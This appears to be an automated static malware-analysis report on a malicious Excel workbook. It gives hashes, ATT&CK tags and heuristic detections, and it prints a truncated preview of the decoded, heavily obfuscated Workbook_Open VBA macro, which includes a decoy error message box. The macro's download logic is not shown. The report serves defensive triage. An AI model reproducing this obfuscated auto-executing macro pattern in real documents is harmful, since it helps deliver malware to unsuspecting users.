Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e632281c03c4c738…

MALICIOUS

Office (OOXML)

66.1 KB Created: 2018-03-13 09:44:04 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2019-05-31
MD5: 97f1a7cad843b9964aec84d3825e189c SHA-1: c5cb4c8aa74cdc052f3dbfd9254a49397c7d2514 SHA-256: e632281c03c4c7387248a9df3640b65f550b5fc61c6059771a75408aa9011bc4
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an OOXML document containing a Workbook_Open VBA macro, which is a common technique for initial execution. The macro uses CreateObject and appears to be heavily obfuscated, suggesting it's designed to download and execute a secondary payload. The presence of VBA macros and the Workbook_Open trigger strongly indicate a malicious intent, likely delivered via spearphishing.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 37966 bytes
SHA-256: 6f605f78ef2196498af2dee22463c36669e55b2ef9d3c29be02dfc380dbebe24
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()


MmNxbt.zSSDzVmDjbvtSpvTAzun
Dim IdHHUHdfEgQvbFurXkNXnlPLrGNlVTEFJLUWLKjsrGy As Integer
If CKzSNvEwQlXzWOwPOtsKkbKmPkXfMBVfhmM = ArnAqQXoUlMxIOvVyzwObzNCcXYkOQrSjBvYatCtNmqADnORRgWgkYkAe Then
Dim lYSsnaEutOHTWuFxDAo As Worksheet
Dim JMypIHShtLhKQuupVjAaLmGJYHxumQj
Dim hYvrRmiKlUtKiLDqYcFkNCZcXFpQAJYvccAmUDcCmZPGSbXxVR As String
End If
Dim ZRgfVezSUMxSJbvxhGLRVVACyomTKvhrvikHPwGWmBiQFU As Integer
If PoLVtRmDwEQdhhrgIYeFWaqoikzoeTmkxeZyHoCQErmgqlPZeGtKlzxoxW = mISxZdRggDHtYTWOBfoKyxVZKXabyxhkAlCtxGRJOJEMRkiZoXyRzmYp Then
Dim nsnBDqhjVXsmRcQu As Worksheet
Dim NfwosJIaoAnbzPkONMGFTQGYcVqurwH
Dim LHDDUqjwekMNCCFkFmeZEWKbxZXLXSNistbUvMQXdPbVG As String
End If
Dim CDVWkkIMWCowcGuTYZLWdUJblotVHwoupUuVBpmhFWWqm As Integer
If XTFVDFqQydiuul = wqmEZNuHHLZRimdRHxToNUnzDryeqrMbHDqrSRwcsQMuwmWDm Then
Dim hVkbGXbDmBiPPRQzxJfwmyqBqv As Worksheet
Dim wItCRVusIVbzBfOogQOMdzvvzcrGzjfjkK
Dim aTJkkMUWIuYxIziySZmeSxNxDoeosZqrPqFvewgBrGrAXBUsYB As String
End If
Dim QFxGsdGLgvi As Integer
If gdiEgiRtnUWtkmLGMaCU = mPrIkuJybpSPkTLcIwqTCykguMMTgXtlebwQmZUmYTSyC Then
Dim GIRbixQjiSnfLNYhqREvhlJWuqicEuifmeoDurxad As Worksheet
Dim BvJIlbMvEiCODUVzuhsOofojItgZUnyTeSfpzOIPWgAM
Dim gRiJTDzKFLpWHZAs As String
End If
Dim umbRkiklpfzgYdrHfbDrKWGQnnOSc As Integer
If JiaOQUkFibygxUoETlcThqfWIiXgKewURIfwZSII = HCwAFKMCSMTBlyvSCDFhwDuEee Then
Dim OppreAcTMeufRyVVOxKuiTMMuVNaLDIrV As Worksheet
Dim bvXMahTZSmRXXmGMapwujvvcdxInCIJW
Dim DJqDyJnPrVQhvoWjGOkOLwlfzujdZfWJduUNwDNRCgDNfO As String
End If

TqwsjSUuEOFDUj = MsgBox("Office", vbCritical, "MS")
Dim hpaZgnXuKGYLDEaJqLyGEATImDATLetXzk As Integer
If MuDzzjmijNplzJrsprPZKgVRncmDigNAMSrgGrMPTVQGTBErcToBIZagZ = lMWwjzDAoZgRLlyfzGoQOylXvbPr Then
Dim LsmsLHVfpSkWMFfcYZQhqWISlPKmazBHjMpvmnGEQSqhWRDJTJzVKhAojT As Worksheet
Dim GvwiFqQcnAQjpkTMRYfbwUMATRzgwBLAMShKHhNAQteCtjTPBxQcJ
Dim IXmiwPoqjglpPXXDIFjLfLDpKHjxkeylirEvubLSYJgN As String
End If
Dim tNdMwLtshR As Integer
If ewUwYogqGFhzGYTbIguRmVepwwdWAYlGERN = HbxCWliDbgtHFtUDMyPfIReAcKJ Then
Dim phTbvoLMAKdYfESDJCpYdgVZHomEpxwaLcsVHFx As Worksheet
Dim SthUsiakbqOVymmfJMuTHCGWDNDMCLwvEEWewLcqhDL
Dim OabynZxiJNmqQnKRff As String
End If
Dim NhPuTQtPHj As Integer
If ykDlDqswbPPnFdnhSOGrmtwLUWv = THLEXROjYK Then
Dim AmZuOqQPabmHlyfJQwFnrRhvYoPKr As Worksheet
Dim VrtOXRbhwXCgvuuJMWMZOBRelSjFeWaaFYEkttOhDcTZCGvXmlLR
Dim DlcUaOcEhWCZxbbXpKQTIeVmhsceXMSsKIXUvkJeQJzhZtbafY As String
End If
Dim hcVrJYPqmimyhUDKOpEHbFAlDyeoMnQBzyfpXSy As Integer
If yEFxbsRcfdPelWYxbckoLtadyRlyipOnwrFCVHYtlV = zLxJeebADNmenFebzJHTtpOciuQVbUDqCptOgpmGXimAARDAY Then
Dim tIPmScKxUakOFYjJwbyLPvJWAvLD As Worksheet
Dim NcRqPxhLoEkNjRLPCrSJCrDpFpIyyslXQGjsItz
Dim HqXVrrlbxkuUJcCAWYblZojNvTNwciSGIsKS As String
End If
Dim fVMyUNLNDYcuOFMUhHZSHKZYeoyPRoLQSjVAMdRMdWJXqShXVyYATrLU As Integer
If wnUfOwwPMLcf = kMIEqNpkBC Then
Dim hLHbtTPKxaYAEYIlxhatLfqCmJqUKGCaTtFIXnCcACNCGjHjvEPIKHrC As Worksheet
Dim VFokduArXyhKSAOJextJRovDBGZFquPLCDnSySzFBWeICwRuqFdNOi
Dim lgJliWVuBdiVHPMvLMxoHuKnBFoeOkQBxUR As String
End If


End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribu
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 103424 bytes
SHA-256: 0a941c59b1421a22e207dc44eda82fcdca3f29aba6c5ff4fcb7ada88cf5d581e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).

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